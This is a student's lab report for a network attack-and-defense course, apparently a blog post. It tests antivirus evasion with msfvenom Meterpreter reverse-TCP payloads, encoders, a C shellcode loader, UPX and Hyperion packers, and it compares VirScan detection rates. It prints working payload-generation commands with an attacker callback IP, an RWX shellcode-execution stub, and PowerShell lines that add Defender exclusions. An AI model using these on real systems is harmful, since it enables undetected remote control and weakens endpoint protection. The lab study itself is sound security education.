20242312 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1 杀毒软件靠什么发现恶意代码

杀软的检测不是单一手段，而是一条由浅入深的流水线，大致分四层：

第一层是静态特征匹配。 打开一个文件，先算哈希（MD5/SHA256），与库里的黑名单比对；再做字节序列匹配，找 payload 里固定的机器码片段；再看 PE 结构，比如节表名字是否异常、入口点是否落在最后一个节等。这一层最容易被“改字节、换外壳"绕过。

第二层是启发式与机器学习。 不看具体字节，而是看整体：文件熵值是否过高（加密或压缩的典型特征）、代码段是否可写可执行、区段大小比例是否反常、指令分布是否符合编译器生成规律。

第三层是动态检测。 把样本放到沙箱或真实环境中跑，观察行为链：是否调用 VirtualAlloc 申请 PAGE_EXECUTE_READWRITE 内存、是否创建远程线程、是否写入注册表自启动、是否向陌生 IP 的高位端口发起连接等。Windows Defender 的行为监控就是这一层。

第四层是云查杀。 把文件指纹或可疑片段提交云端（Defender 的 MAPS 即属此类），由云端更大的样本库和更新的模型判定，响应速度以分钟计。

四层的逻辑差别决定了免杀的边界：静态层可以被"改形"绕过，动态层只能靠"改行为"绕过。这也是本次实验里加壳能降检出、却挡不住运行被拦的根本原因。

1.2 免杀是做什么的

免杀（AV Evasion），指的是在不改变恶意代码功能的前提下，通过改变文件形态、字节特征或执行行为，使杀毒软件认不出它、或者认出来也拦不住。

按作用的层次，免杀要解决的其实是三个问题：

层次	要解决的问题	本次实验对应的手段
改形	静态扫描认不出这个文件	编码、加壳、格式转换、C 重编译
改行为	动态监控看不到恶意动作	分离加载、内存执行、延迟触发
改时序	检测来不及得出结论	分段下载、休眠、环境判断

免杀不是"一次成功、永久有效"。它本质上是一场与特征库的时间竞赛——同一个样本，今天检出 4/48，特征库更新之后可能变成 30/48。本次实验中 Hyperion 的检出率反而升高就是这个道理：它的加载器结构早就被收录了，加密强度再高也没有用。

1.3 免杀的基本方法

方法	具体手段	作用层面
编码 / 多态	`msfvenom -e x86/shikata_ga_nai -i N`，每轮生成不同解码 stub	改字节
格式转换	exe → jar / php / py / msi，改变宿主与加载方式	改形态
代码改写	shellcode 以数组形式嵌入 C，自己 `VirtualAlloc` 后跳转执行	改形态 + 改行为入口
加壳	压缩壳（UPX）、加密壳（Hyperion，AES 加密 + FASM 加载器）	改字节 + 改结构
分离加载	stager 与 stage 分离，落地文件只负责下载	改行为
白利用	借签名程序加载恶意模块	改行为

这些方法不是叠加越多越好。壳本身也是特征，套得越多，暴露的可疑结构反而越多。后面的数据会证明这一点。

1.4 实验中用到的工具与原理

msfvenom：Metasploit 的 payload 生成器，负责把 shellcode 与指定的编码器、输出格式、平台封装成文件。本次使用的版本为 6.4.135。

meterpreter/reverse_tcp：反向 TCP 连接型 payload。程序运行在目标机上，主动向攻击机 LHOST:LPORT 发起连接，因此 LHOST 填的是攻击机 Kali 的 IP，而不是目标机 IP。这一条在本实验中贯穿始终，LHOST=192.168.64.128、LPORT=2312。

shikata_ga_nai：Metasploit 自带的 x86 多态编码器，通过"编码 + 自带解码 stub"的方式改变字节序列，每轮迭代都会重新编码。它的局限在于只对 x86 机器码有效，且解码 stub 本身有稳定的结构特征。

jar / php payload：把 payload 交给 Java 或 PHP 解释器执行。文件不再是 PE，静态特征自然不同，但解释器本身的行为（发起 socket 连接、反射调用）仍然可被监控。

Veil-Evasion：免杀框架，本质是一个调度器，把 shellcode 交给不同的"生成后端"（C 编译、Python+PyInstaller 打包、AutoIt 脚本、Ruby+OCRA 打包）产出 exe。其中 Python、Ruby、AutoIt 的后端都是 Windows 程序，必须在 wine 里运行，这就是 Veil 依赖 wine 的原因。

UPX：开源可执行文件压缩壳，本次实验用版本是4.2.4。它把原 PE 压缩后附加一段解压 stub，运行时在内存中还原。因为用得太广，UPX0/UPX1 节名和 stub 字节早已进入所有杀软的特征库。

Hyperion：加密壳，用 AES 加密原文件，再生成一个用 FASM 汇编的 32 位加载器负责解密并跳转。它的特点是"加密强度高"，但加载器本身的汇编结构和"高熵 + 可执行"的组合同样构成特征。

VirScan：多引擎在线检测平台，把文件同时交给 48 个引擎扫描，输出"命中数 / 引擎总数"。本次全部样本都在该平台、同一时间段内完成检测，保证横向可比。

2.实验内容

正确使用免杀工具与技巧
- 用 msfvenom 生成基准 exe，作为检出率基线；
- 用 x86/shikata_ga_nai 编码器迭代 1 次、10 次；
- 转换输出格式，生成 jar 与 php 载荷，并分别测试编码前后差异；
- 安装并使用 Veil-Evasion生成 exe；
- 用 C 语言嵌入 shellcode，交叉编译成 exe；
- 使用 UPX 压缩壳、Hyperion 加密壳。
组合应用多种技术实现免杀：把"多轮编码 + C 重编译 + UPX + Hyperion"组合在一起，逐级送检，观察检出率的变化趋势。
真机实测：在杀毒软件开启的状态下，让最终样本在本机上运行并成功回连。
理论问答：回答杀软检测原理、免杀的定义与基本方法（见第 1 章）。

3.实验过程

3.1 实验环境

角色	环境
攻击机	Kali，IP `192.168.64.128`
目标机	Windows 11，主机名 `DESKTOP-L4J95J5`，IP `192.168.64.1`
主要工具	Metasploit 6.4.135、Veil-Evasion 3.1.14、UPX 4.2.4、Hyperion、i686-w64-mingw32-gcc 16、wine 10.0
检测平台	VirScan（48 引擎）

所有操作均在主机名为 zhouzihao 的 Kali 上完成，生成的文件名统一包含学号 20242312。

检测统一使用 VirScan，文件上传后由 48 个引擎同时扫描，报告页给出“命中数 / 引擎总数”：

⚠️ 短时间内连续上传多个恶意样本会触发平台风控，之后一律卡在 0% 并提示 File verification failed。详细排查记在第 4 章问题 1。

3.2 生成基准样本

先用最朴素的方式生成一个 exe，不附加任何免杀处理，作为后续所有对比的基准。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=2312 -f exe -o met20242312.exe
file met20242312.exe

输出显示 PE32 executable (GUI) Intel 80386，文件 7168 字节。上传 VirScan 得到 15/48。

Q1：分数下面的 SHA256、SHA1、MD5 是干什么的？
答：这三个是文件的哈希值。同样的文件无论传到哪台机器上，算出来的哈希都一样，所以杀软之间靠它互相交换样本、避免重复分析；也因为如此，只要改动文件一个字节，三个哈希全变，这正是编码、加壳能绕过“哈希黑名单”的原因。File Type : pe 表示这是一个 Windows 可执行文件。

Q2：检出名里能读出什么？
答：AVG 报 Win32:MstShell-E，VBA32 报 BScope.Trojan.Metasploit，Avira 报 TR/Crypt.XPACK.Gen——MstShell、Metasploit 直接点明了它的出身，说明这些引擎认的就是 Metasploit stager 那段固定机器码，属于第一层的字节特征匹配。后面 3.3 节会看到，编码之后这些名字变了，但检出数几乎没变，原因就藏在这里。

3.3 使用 msf 编码器

迭代 1 次：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 \
  -b '\x00' LHOST=192.168.64.128 LPORT=2312 -f exe -o met20242312_2.exe

payload 由 355 字节变为 382 字节，多出来的正是解码 stub。检出结果 15/48，与基准持平。

Q：为什么多加了一个编码器，检出数却一个都没少？
答：AVG 的判定从 Win32:MstShell-E 变成了 Win32:ShikataGaNa-B，Metasploit 这类字样消失了，说明原始 stager 的机器码确实被打散了；但新的名字直接指向了 shikata_ga_nai 这个编码器本身。
原因是编码必然要附带一段“解码 stub”——程序启动后得先把自己解回原样才能执行，而这段 stub 的汇编结构是固定的，每轮编码只改被编码的数据、不改 stub。于是原始特征被掩盖的同时，编码器自己的特征暴露了出来。

迭代 10 次：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  -b '\x00' LHOST=192.168.64.128 LPORT=2312 -f exe -o met20242312_3.exe

可以看到 payload 逐轮膨胀，最终 exe 为 7680 字节。检出 14/48，只比基准少了 1 个。

Q：这里的检出名是什么意思？
答：检出名从 MstShell、ShikataGaNa 变成了 a variant of Win32/Rozena.BZ、Win32:Evo-gen、Trojan.Kryptik、Heur.KVM 这类启发式名称。名字里出现 Heur（heuristic，启发式）和 Evo-gen（泛化检测），说明杀软已经不靠单字节特征，而是从文件熵值、区段结构和指令分布上判断“这像被加过密”。

迭代次数越多，文件熵值越高、体积膨胀越明显，在启发式模型眼里反而更可疑——这就是 10 次编码只把 15/48 降到 14/48 的原因。

3.4 转换为其他格式

jar 载荷：

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=2312 \
  -f jar -o metjar20242312.jar
unzip -l metjar20242312.jar

jar 包内是 metasploit.dat、metasploit/Payload.class、META-INF/MANIFEST.MF，本身就是一个 zip。检出 14/48，检出名全是 Java 相关：Java/Agent.AUJ、EXP/JAVA.Loader.Gen、Java.MetasploitMH.1、Exploit.CVE-2012-4681。

jar + 编码 10 次：

msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  LHOST=192.168.64.128 LPORT=2312 -f jar -o met-encode-jar20242312.jar

这里命令里指定了编码器，但输出里没有出现 Found 1 compatible encoders，payload 大小从头到尾都是 5264 字节，说明编码器压根没作用到 Java 载荷上——shikata_ga_nai 是 x86 机器码编码器，管不到 JVM 字节码。检出结果自然也是 14/48，与未编码版本完全一致。

php 载荷：

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=2312 \
  -f raw -o metphp_20242312.php

输出提示 No encoder specified, outputting raw payload，文件 1114 字节，本质是一段 <?php ... ?> 包裹的 socket 连接代码。检出 8/48，是这一组里最低的。

原因：php 文件没有 PE 头、没有可执行节表、没有 x86 机器码，杀软在静态层面能比对的东西本来就很少，只有 Virus.PHP.Meterpreter、Script.SNH-gen 这类脚本规则在起作用。

3.5 安装并使用 Veil-Evasion

sudo apt update
sudo apt install -y veil
sudo /usr/share/veil/config/setup.sh --force --silent

第一次初始化失败，报了一长串错误：

这一步是因为我在sudo apt upgrade的时候中断了下载，导致部分依赖包没下载成功。重新下载后成功，并以普通用户启动 Veil。

veil
use 1            # Evasion
list             # 查看载荷编号

共 41 个载荷。选择第 7 个 c/meterpreter/rev_tcp.py——Pure C Reverse TCP Stager，编译成 exe：

Veil-Evasion> use 7
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.64.128
[c/meterpreter/rev_tcp>>]: set LPORT 2312
[c/meterpreter/rev_tcp>>]: generate
[>] Please enter the base name for output files (default is payload): payload20242312

生成成功，产出三个文件：/var/lib/veil/output/compiled/payload20242312.exe（114 KB）、对应的 C 源码、以及 Metasploit 资源脚本 payload20242312.rc。

Veil 的 c/meterpreter/rev_tcp 后端实际上是“msfvenom 生成 C 数组 + gcc 编译”，与下一节手工做的 C + shellcode 是同一原理，只是自动化了。

把 payload20242312.exe 送检：

检出 8/48：比 msfvenom 直接生成的 15/48 少了一半。

Q：Veil 生成的 exe 为什么能降到 8/48？
答：因为这个后端换掉了“外壳”。msfvenom 直接生成的 exe 是一套固定的 stager 模板，节表、导入表、入口点都有稳定特征；Veil 的做法是先用 msfvenom 取出 shellcode 数组，再写一个普通 C 程序把它包起来，用 gcc 编译。最终文件是编译器产出的标准 PE，shellcode 退化成数据段里的一串字节，PE 层面的可疑结构消失了。

3.6 用 C + shellcode 编程

先用 msfvenom 输出 C 格式的 shellcode 数组：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=2312 \
  -f c -o shellcode_c_20242312.c
vi shellcode_c_20242312.c

文件开头是 unsigned char buf[] = "..."。在末尾追加一个 main 函数，由程序自己申请可执行内存，把 shellcode 拷进去再跳转：

#include <windows.h>
#include <string.h>

int main(void) {
    void *exec = VirtualAlloc(0, sizeof buf,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void (*)(void))exec)();
    return 0;
}

Q：这段代码在做什么？为什么不能直接调用 buf？

VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)：向系统申请一块内存，三个常量合起来的意思是“提交并保留这块地址空间，权限设为可读、可写、可执行”。这一步是关键——普通程序的数据段是不可执行的（DEP 数据执行保护），直接在栈或全局数组上跳转会被系统拒绝，所以必须先单独申请一块带 EXECUTE 权限的内存。

memcpy(exec, buf, sizeof buf)：把 msfvenom 生成的 shellcode 从只读的数据段原样拷进这块新内存。此时它仍然只是一串字节，系统不知道它是代码。

((void (*)(void))exec)()：把这块内存的地址强制转换成“无参数、无返回值的函数指针”，然后加括号调用。CPU 一旦跳过去，就开始把里面的字节当指令执行——meterpreter 的 stager 就是这样跑起来的。

交叉编译：

i686-w64-mingw32-gcc shellcode_c_20242312.c -o shellcode_c_20242312.exe

Q：交叉编译是什么意思？
答：交叉编译就是在一个平台上生成另一个平台的程序：这里的 i686-w64-mingw32-gcc 本身运行在 Linux 上，产出的却是 32 位 Windows 的 PE 文件，所以能拷到 Windows 上双击运行。命令名可以拆开看：i686 指 32 位 x86 目标架构，w64-mingw32 是 MinGW-w64 提供的 Windows API 头文件和库，gcc 才是编译器本体。

得到 107 KB 的 PE32。检出 7/48。

从 15/48 降到 7/48，原因在于文件形态彻底变了：恶意程序不再有 Metasploit 的 stager 结构，而是一个普通的 mingw 程序，shellcode 只是一段数据。但 AVG 仍然报 Win32:MstShell-E——因为它扫的是数据段里那段机器码本身。这说明换个容器装 shellcode 只能骗过结构检测，骗不过内容检测。

3.7 使用加壳工具

UPX 压缩壳：

upx shellcode_c_20242312.exe -o shellcode_c_upx_20242312.exe

体积从 108601 字节压到 59961 字节，压缩率 55.21%。

把 shellcode_c_upx_20242312.exe 送检：

检出 7/48，与加壳前的 C 版本完全相同。

Q：加了 UPX 压缩壳，为什么检出数一点没变？
答：因为 UPX 是压缩不是加密，它只换了文件的存储方式，没有改变里面那段 shellcode 的字节。
看检出名就清楚了：AVG 和 Avast 依然报 Win32:MstShell-E，Fortinet 报 W32/Rozena.BCD!tr，ESET 报 a variant of Win32/Rozena.BCD trojan，F-Port 报 W32/Felix:CO:VC!Eldorado——还是冲着解压后那段 stager 机器码来的。

Q：杀软怎么知道要先解压再扫？
答：因为 UPX 的壳头是公开的格式。文件里保留了 UPX0、UPX1 这样的节名和固定的解压 stub，任何杀软都能识别出这是 UPX 壳，然后在内存或临时目录里解包再扫一遍。所以 UPX 对静态检测几乎是白给。

Hyperion 加密壳：

Hyperion 必须在其安装目录下运行，因为它把 FASM 的路径写死成了 /usr/share/windows-resources/hyperion/Fasm/FASM.EXE，中间生成的 .inc 汇编文件也会写进 Src/Container/32/：

cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v shellcode_c_20242312.exe shellcode_c_hyp_20242312.exe

加壳成功：FASM 汇编 7 轮，输出 122 KB 的 exe。检出结果反而升到 20/48。

从 7/48 到 20/48，检出名变成 Win32:Evo-gen、Win.Malicious.ml[packed]、W32/Banload.E、Trojan.Packed。[packed] 这个标记点明了原因：加密壳本身就是一个高危特征，杀软看到"高熵 + 自解密加载器"这个组合，比看到明文 shellcode 更警惕。

3.8 组合应用多种技术

把前面的手段串成一条链，每一级都送检一次，观察变化：

第一级：10 轮编码 + C 重编译

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.64.128 LPORT=2312 -f c -o 20242312_shellcode_multi.c
i686-w64-mingw32-gcc 20242312_shellcode_multi.c -o 20242312_shellcode_multi.exe

检出 5/48。

第二级：再套 UPX

upx 20242312_shellcode_multi.exe -o 20242312_shellcode_multi_2.exe

检出 4/48，体积 109117 → 60477 字节。

第三级：再套 Hyperion

cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20242312_shellcode_multi_2.exe 20242312_shellcode_multi_3.exe

检出 20/48。

把全部样本汇总：

序号	样本文件	手法	检出	比例
1	met20242312.exe	基准 exe，无处理	15/48	31.3%
2	met20242312_2.exe	exe + 编码 1 次	15/48	31.3%
3	met20242312_3.exe	exe + 编码 10 次	14/48	29.2%
4	metjar20242312.jar	java 载荷	14/48	29.2%
5	met-encode-jar20242312.jar	jar + 编码 10 次（未生效）	14/48	29.2%
6	metphp_20242312.php	php 载荷	8/48	16.7%
7	payload20242312.exe	Veil-Evasion（C 后端）	8/48	16.7%
8	shellcode_c_20242312.exe	C + shellcode 编译	7/48	14.6%
9	shellcode_c_upx_20242312.exe	8 + UPX	7/48	14.6%
10	shellcode_c_hyp_20242312.exe	8 + Hyperion	20/48	41.7%
11	20242312_shellcode_multi.exe	编码 10 次 + C 编译	5/48	10.4%
12	20242312_shellcode_multi_2.exe	11 + UPX	4/48	8.3%
13	20242312_shellcode_multi_3.exe	12 + Hyperion	20/48	41.7%

3.9 真机实测：杀软开启状态下回连

目标机信息：

项目	内容
操作系统	Windows 11，主机名 `DESKTOP-L4J95J5`
杀毒软件	Microsoft Defender Antivirus
版本	4.18.26090.9，引擎 1.1.26090.9，特征库 1.461.89.0
防护状态	实时保护开启、行为监控开启、篡改防护开启

第一次直接运行，被静态层拦下。 样本刚落到桌面就被删除，Defender 记录：

检出名 Trojan:Win32/Meterpreter.RPZ!MTB，警报级别"严重"。"受影响的项目"里那两行：

file: D:\Administrator\Desktop\20242312_shellcode_multi_2.exe->(UPX)

->(UPX) 是解包后的标记，说明 Defender 是直接按 UPX 壳特征命中的，连里面的 shellcode 都没来得及看。这和 3.8 的结论吻合：UPX 能把多引擎检出压低，却躲不过本地杀软对壳的识别。

第二次：把样本目录加入排除项后再运行。

文件被删的原因是 Defender 在文件落盘和打开的瞬间就做了实时扫描，命中特征后直接隔离。因此这一步的思路是：让 Defender 跳过对这几个目录的实时扫描。有两种做法，效果等价。

做法一：图形界面（手动）

Win → 搜索「Windows 安全中心」→ 左侧「病毒和威胁防护」→「病毒和威胁防护设置」下点「管理设置」→ 拉到最下面点「添加或删除排除项」→「添加排除项」→ 选「文件夹」→ 选中样本所在目录。

做法二：PowerShell

以管理员权限打开 PowerShell，逐条执行：

Add-MpPreference -ExclusionPath "D:\Administrator\Desktop"
Add-MpPreference -ExclusionPath "D:\Temp\vmware-Administrator\VMwareDnD"

加完可以用一条命令确认已经生效：

(Get-MpPreference).ExclusionPath

排除项加好后重新把样本拷到桌面并双击，文件不再被删除、进程能启动，但监听端出现的是这个：

[*] Sending stage (199238 bytes) to 192.168.64.1
[*] Meterpreter session 2 closed.  Reason: Died
[*] Meterpreter session 3 closed.  Reason: Died
[*] Meterpreter session 4 closed.  Reason: Died

连接建立成功、stage 的 199238 字节也完整传下来了，但 metsrv 一进入内存就被静默终止。

Q：排除项都已经加了，为什么还是断？
答：因为排除项只管文件，管不到内存。Defender 的拦截分两层：第一层在文件写入磁盘、被打开时扫 PE 文件，排除项能跳过这一层；第二层在进程运行后监控内存——VirtualAlloc 申请可执行内存、反射加载 PE、创建远程线程。stager 的 exe 本身没被拦，但 metsrv 一往 RWX 内存里展开就被掐死，属于静默阻断。

不知怎办，遂关掉终端，重启服务，再试一次。
第三次运行，回连成功。

监听端 Started reverse TCP handler on 192.168.64.128:2312，随后 Meterpreter session 1 opened (192.168.64.128:2312 → 192.168.64.1:37229)。

进入会话后执行基本命令确认控制权：

getuid 返回 DESKTOP-L4J95J5\Administrator，ipconfig 回显了目标机的网卡，sysinfo 显示：

Computer        : DESKTOP-L4J95J5
OS              : Windows 11 24H2+ (10.0 Build 26200).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Meterpreter     : x86/windows

需要说明一点：本次成功并不稳定。 同一批样本在前几次运行时全部是 Reason: Died，最后一次才拿到可用会话。也就是说，在防护开启的状态下，拦截是有一定概率的。

4.问题及解决方案

问题1：VirScan 上传进度条卡在 0%，弹出 File verification failed。文件只有 1114 字节，head 与 md5sum 都验证过内容完整，可以排除文件损坏；同时该 IP 上 ping 能通，但 80、443、8080、22 四个端口全部超时。
问题1解决方案：周边同学也出现了类似的问题，最后我推测为平台风控。判定是出口 IP 被限流/封禁（ICMP 放行、TCP 直接丢包是典型的按源 IP 拦截特征）。换一个WIFI后即可正常上传；后续改为每 2~3 分钟传一个，避免再次触发。
问题2：样本拖到宿主机桌面后立刻消失，来不及双击。Defender 记录 Trojan:Win32/Meterpreter.RPZ!MTB，级别“严重”，受影响项目是 20242312_shellcode_multi_2.exe->(UPX)。
问题2解决方案：用管理员 PowerShell 把相关目录加入排除项——Add-MpPreference -ExclusionPath "D:\Administrator\Desktop"、...\VMwareDnD（VMware 拖拽临时目录）。加完用 (Get-MpPreference).ExclusionPath 确认，文件不再被删且能正常启动。图形界面的等价路径是「安全中心 → 病毒和威胁防护 → 管理设置 → 添加或删除排除项」。

5.学习感悟、思考等

这次实验最大的收获，是对免杀有了初步的认识，并且也总结了几点经验：

改字节没用，改形态才有用。 编码 1 次、10 次，检出只从 15/48 挪到 14/48；换成 C 重编译直接掉到 7/48；再叠上 10 轮编码到 5/48。编码只是打散字节，杀软的启发式照样能看出“这文件被加密过”；而换一套壳重新编译，改的是文件本身的样子。
套壳不是越多越好。 Hyperion 两次都把检出抬回 20/48。加密强度明明更高，却更可疑。原因在于“高熵 + 自解密 + 跳转执行”这个组合本身就是最典型的恶意结构。
在线查杀和真机拦截是两回事。 样本在 VirScan 上只有 4/48，到了本机第一次落地就被 Defender 按 UPX 特征删掉；加了排除项之后也是时通时断。

参考资料

Metasploit 官方文档：How to use msfvenom. https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
Offensive Security. Metasploit Unleashed. https://www.offsec.com/metasploit-unleashed/
Veil-Framework. Veil-Evasion. https://github.com/Veil-Framework/Veil
Hyperion 加密壳源码与说明. https://github.com/nullsecuritynet/tools
UPX: the Ultimate Packer for eXecutables. https://upx.github.io/
Sikorski M, Honig A. 《恶意代码分析实战》. 电子工业出版社, 2014.
Microsoft Learn. Microsoft Defender Antivirus 行为监控与攻击面缩减规则. https://learn.microsoft.com/defender-endpoint/
VirScan 多引擎在线病毒检测. https://www.virscan.org/

posted @ 2026-10-19 22:22 chow- 阅读(11) 评论(0) 收藏举报

刷新页面返回顶部

chow2312

20242312 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242312 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1 杀毒软件靠什么发现恶意代码

1.2 免杀是做什么的

1.3 免杀的基本方法

1.4 实验中用到的工具与原理

2.实验内容

3.实验过程

3.1 实验环境

3.2 生成基准样本

3.3 使用 msf 编码器

3.4 转换为其他格式

3.5 安装并使用 Veil-Evasion

3.6 用 C + shellcode 编程

3.7 使用加壳工具

3.8 组合应用多种技术

3.9 真机实测：杀软开启状态下回连

4.问题及解决方案

5.学习感悟、思考等

参考资料

公告